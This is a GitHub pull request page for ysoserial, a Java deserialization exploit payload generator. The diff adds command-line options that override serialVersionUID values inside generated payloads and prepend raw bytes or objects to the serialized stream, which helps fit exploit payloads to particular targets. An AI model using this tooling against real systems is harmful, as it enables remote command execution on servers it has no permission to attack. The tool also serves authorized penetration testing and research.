Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enhancement serialVersionUID + prefix to payload options #189

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 14 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,8 +43,20 @@ are not responsible or liable for misuse of the software. Use responsibly.
```shell
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Usage: java -jar ysoserial-[version]-all.jar [options] <payload> '<command>'
Options:
-h,--help Print usage

-s,--serial <Class=long> Override serialVersionUID for a given class:
ex. -s org.apache.commons.beanutils.BeanComparator=-3490850999041592962 ...

-p,--prepend <Object=val> Prepend payload with the following item(s):
Possible values:
- raw data: write=HEX, write{Boolean|Byte|Bytes|Char|Chars|Double|Float|Int|Long|Short|UTF}=STR
- serialized object: Class=STR or Class
ex. -p writeBoolean=true -p writeUTF=plop -p write=aced0005 -p java.util.ArrayList ...

Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
Expand Down
5 changes: 5 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -177,6 +177,11 @@
<artifactId>remoting-jmx</artifactId>
<version>2.0.1.Final</version>
</dependency>
<dependency>
<groupId>commons-cli</groupId>
<artifactId>commons-cli</artifactId>
<version>1.5.0</version>
</dependency>

<!-- gadget dependecies -->

Expand Down
146 changes: 105 additions & 41 deletions src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,49 +8,113 @@
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;

import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.Option;
import org.apache.commons.cli.Options;
import org.apache.commons.cli.CommandLineParser;
import org.apache.commons.cli.DefaultParser;
import org.apache.commons.cli.ParseException;

@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] argv) {
CommandLine commandLine = null;
Options options = new Options();

Option serial = Option.builder("s")
.longOpt("serial")
.numberOfArgs(1)
.argName("Class=long")
.desc("Override serialVersionUID for a given class")
.build();
Option prepend = Option.builder("p")
.longOpt("prepend")
.numberOfArgs(1)
.argName("Class=str")
.desc("Prepend payload with item(s)")
.build();
Option help = Option.builder("h")
.longOpt("help")
.desc("Print usage")
.build();

options.addOption(serial);
options.addOption(prepend);
options.addOption(help);

CommandLineParser parser = new DefaultParser();
try {
commandLine = parser.parse(options, argv);
} catch (ParseException exp) {
System.err.println("Unexpected exception:" + exp.getMessage());
System.exit(USAGE_CODE);
}
String [] args = commandLine.getArgs();
if (args.length != 2 || commandLine.hasOption("help")) {
printUsage();
System.exit(USAGE_CODE);
}

List<String> serialObjects = new ArrayList<String>();
if(commandLine.hasOption("serial")) {
String [] propvalues = commandLine.getOptionValues("serial");
for (String propvalue : propvalues) {
serialObjects.add(propvalue);
}
}
List<String> prependedObjects = new ArrayList<String>();
if(commandLine.hasOption("prepend")) {
String [] propvalues = commandLine.getOptionValues("prepend");
for (String propvalue : propvalues) {
prependedObjects.add(propvalue);
}
}

final String payloadType = args[0];
final String command = args[1];

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out, serialObjects, prependedObjects);
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [options] <payload> '<command>'");
System.err.println(" Options:");
System.err.println(" -h,--help Print usage\n");
System.err.println(" -s,--serial <Class=long> Override serialVersionUID for a given class:\n"+
" ex. -s org.apache.commons.beanutils.BeanComparator=-3490850999041592962 ...\n");
System.err.println(" -p,--prepend <Object=val> Prepend payload with the following item(s):\n"+
" Possible values:\n"+
" - raw data: write=HEX, write{Boolean|Byte|Bytes|Char|Chars|Double|Float|Int|Long|Short|UTF}=STR\n"+
" - serialized object: Class=STR or Class\n"+
" ex. -p writeBoolean=true -p writeUTF=Ficelle -p write=aced0005 -p java.util.ArrayList ...\n");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
Expand Down
94 changes: 94 additions & 0 deletions src/main/java/ysoserial/Serializer.java
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
package ysoserial;

import java.util.*;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;

public class Serializer implements Callable<byte[]> {

private final Object object;
public Serializer(Object object) {
this.object = object;
Expand All @@ -27,4 +30,95 @@ public static void serialize(final Object obj, final OutputStream out) throws IO
objOut.writeObject(obj);
}

public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i + 1 < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}

public static void serialize(final Object obj, final OutputStream out, final List<String> serials, final List<String> prepended) throws IOException {
final ByteArrayOutputStream tmp = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(tmp);
// prepend
for (String str : prepended) {
String [] values = str.split("=");
String key = values[0];
String value = values.length > 1 ? values[1] : null;
try {
// raw data
if (key.equals("write")) { objOut.write(hexStringToByteArray(value));
} else if (key.equals("writeBoolean")) { objOut.writeBoolean(new Boolean(value));
} else if (key.equals("writeByte")) { objOut.writeByte(Integer.parseInt(value));
} else if (key.equals("writeBytes")) { objOut.writeBytes(value);
} else if (key.equals("writeChar")) { objOut.writeChar(value.charAt(0));
} else if (key.equals("writeChars")) { objOut.writeChars(value);
} else if (key.equals("writeDouble")) { objOut.writeDouble(Double.parseDouble(value));
} else if (key.equals("writeFloat")) { objOut.writeFloat(Float.parseFloat(value));
} else if (key.equals("writeInt")) { objOut.writeInt(Integer.parseInt(value));
} else if (key.equals("writeLong")) { objOut.writeLong(Long.parseLong(value));
} else if (key.equals("writeShort")) { objOut.writeShort(Integer.parseInt(value));
} else if (key.equals("writeUTF")) { objOut.writeUTF(value);
// other
} else {
Class c = null;
Object o = null;
c = Class.forName(key);
if(value == null) {
o = c.newInstance();
} else {
o = c.getConstructor(String.class).newInstance(value);
}
objOut.writeObject(o);
}
} catch (Exception e) {
System.err.format("Failed to prepend object %s\n%s\n%s\n", str, e.toString(), e.getMessage());
e.printStackTrace(System.err);
System.exit(70);
}
}
objOut.writeObject(obj);
byte[] bytes = tmp.toByteArray();
// serialVersionUID
for (String serial : serials) {
String [] values = serial.split("=");
long newUid = new Long(values[1]);
byte[] lng = new byte[] {
(byte) (newUid >> 56),
(byte) (newUid >> 48),
(byte) (newUid >> 40),
(byte) (newUid >> 32),
(byte) (newUid >> 24),
(byte) (newUid >> 16),
(byte) (newUid >> 8),
(byte) newUid
};
byte[] classname = values[0].getBytes();
byte[] payload = new byte[classname.length + lng.length];
// byte[] concat classname|uid
for (int i = 0; i < payload.length; i++) {
payload[i] = i < classname.length ? classname[i] : lng[i - classname.length];
}
// byte[] sed s/classname..../classnameSUID/g
int acc = 0;
for (int i = 0; i < bytes.length; i++) {
if(bytes[i] == classname[acc]) {
acc++;
} else {
acc = 0;
}
if(acc == classname.length) {
for (int z = 0; z < 8; z++) {
i++;
bytes[i] = lng[z];
}
acc = 0;
}
}
}
out.write(bytes);
}
}